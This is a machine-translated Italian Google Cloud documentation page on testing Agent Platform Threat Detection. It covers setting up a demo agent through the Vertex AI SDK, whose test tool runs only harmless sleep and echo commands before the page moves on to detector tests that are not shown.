Google uses AI technology to translate content into your preferred language. AI translations can contain errors.

Testare Agent Platform Threat Detection

Questa pagina spiega come verificare che Agent Platform Threat Detection funzioni attivando intenzionalmente i rilevatori e controllando i risultati. Agent Platform Threat Detection è un servizio integrato di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce agli agenti Agent Runtime, assicurati che il servizio di rilevamento delle minacce di Agent Platform sia abilitato in Security Command Center.

Configura l'ambiente

Per testare il rilevamento delle minacce di Agent Platform, configura un agente demo che simula attività dannose.

Crea un progetto e attiva la shell

Seleziona o crea un progetto Google Cloud da utilizzare per i test.

Per testare i rilevatori, puoi utilizzare la console Google Cloud e Cloud Shell.

Vai alla consoleGoogle Cloud .

Vai alla console Google Cloud
Seleziona il progetto che utilizzerai per il test.
Fai clic su Attiva Cloud Shell.

Puoi anche eseguire le istruzioni di test da una shell locale.

Configura Agent Runtime

Se non hai mai utilizzato Agent Runtime in questo progetto, configura l'ambiente Agent Runtime prima di iniziare. Registra il nome del bucket di staging Cloud Storage che hai creato. Ti consigliamo inoltre di seguire la guida rapida di Agent Runtime per imparare a sviluppare e a eseguire il deployment di un agente con l'SDK Vertex AI.

Crea script per il test

Creerai diversi file che verranno utilizzati per il deployment di un nuovo agente per i test. Utilizza un editor di testo, ad esempio nano.

Crea un nuovo file denominato requirements.txt con i seguenti contenuti.

google-cloud-aiplatform[agent_engines]
google-adk
google-genai
aiohttp
cloudpickle
pydantic

Crea un nuovo file vuoto denominato installation_scripts/install.sh. Alcuni test richiedono l'aggiunta di contenuti a questo file.

Crea un nuovo file denominato main.py con i seguenti contenuti. Sostituisci le variabili PROJECT_ID, LOCATION e STAGING_BUCKET. Il nome del bucket di staging deve includere il prefisso gs://.

import asyncio
import os
import subprocess
import socket
import vertexai
from vertexai import Client, agent_engines
from google.adk.agents import llm_agent
from google.adk.sessions.in_memory_session_service import InMemorySessionService

# Replace with your own project, location, and staging bucket.
LOCATION = "LOCATION"
PROJECT_ID = "PROJECT_ID"
# Staging bucket must have gs:// prefix
STAGING_BUCKET = "STAGING_BUCKET"

client = Client(project=PROJECT_ID, location=LOCATION)

def _run_command(args, **kwargs):
  output = f"Called {' '.join(args)}\n"
  try:
    res = subprocess.run(args, capture_output=True, text=True, **kwargs)
    if res.stdout:
      output += f"Result: {res.stdout.strip()}\n"
    if res.stderr:
      output += f"Error: {res.stderr.strip()}\n"
  except subprocess.TimeoutExpired:
    output += "Command timed out as expected."
  return output

# Tool to simulate threats. The function body will be replaced for individual
# detector tests.
def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["echo", "this is a fake threat"])
  output += _run_command(["sleep", "10"])
  return output

root_agent = llm_agent.Agent(
    model="gemini-2.5-flash",
    name="threat_detection_test_agent",
    description="Runs threat detection test.",
    instruction="""
      You are an agent that runs a threat detection test using a fake malicious
      command.
    """,
    tools=[threat_detection_test],
)

async def main():
  vertexai.init(
    project=PROJECT_ID,
    location=LOCATION,
    staging_bucket=STAGING_BUCKET,
  )
  app = agent_engines.AdkApp(
      agent=root_agent, session_service_builder=InMemorySessionService
  )
  remote_agent = client.agent_engines.create(
      agent=app,
      config={
          "display_name": "scc_threat_test_agent",
          "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
          "requirements": [
              "google-cloud-aiplatform[agent_engines,adk]",
              "cloudpickle",
              "pydantic",
          ],
          "staging_bucket": STAGING_BUCKET,
          "extra_packages": [
              "installation_scripts/install.sh",
          ],
      },
  )
  print("Deployed agent: ", remote_agent.api_resource.name)

  try:
      async for event in remote_agent.async_stream_query(
          user_id="threat_detection_tester",
          message="Run the threat detection test",
      ):
        print(event)
  finally:
      client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)

if __name__ == "__main__":
  asyncio.run(main())

Configurare l'ambiente virtuale

Crea e attiva un ambiente virtuale Python.

  python3 -m venv env
  source env/bin/activate

Installa le dipendenze necessarie nell'ambiente virtuale.
```
pip install -r requirements.txt
```

Testa lo script

Esegui lo script dall'interno dell'ambiente virtuale con python3 main.py. L'esecuzione di questo comando richiederà diversi minuti per creare, eseguire il deployment ed eseguire l'agente di test.

Lo script restituisce il nome della risorsa dell'agente di cui è stato eseguito il deployment e alcuni oggetti JSON, tra cui una risposta LLM e altri metadati. Se in questa fase si verificano errori di autorizzazione o di deployment, consulta la risoluzione dei problemi per i passaggi successivi.

Rilevatori di test

Per testare i rilevatori di Agent Platform Threat Detection, sostituisci il codice nella funzione threat_detection_test con un codice che simula un attacco. L'esecuzione dello script può richiedere molto tempo per il deployment e l'interrogazione dell'agente. Per velocizzare i test, puoi combinare i contenuti di diverse di queste funzioni.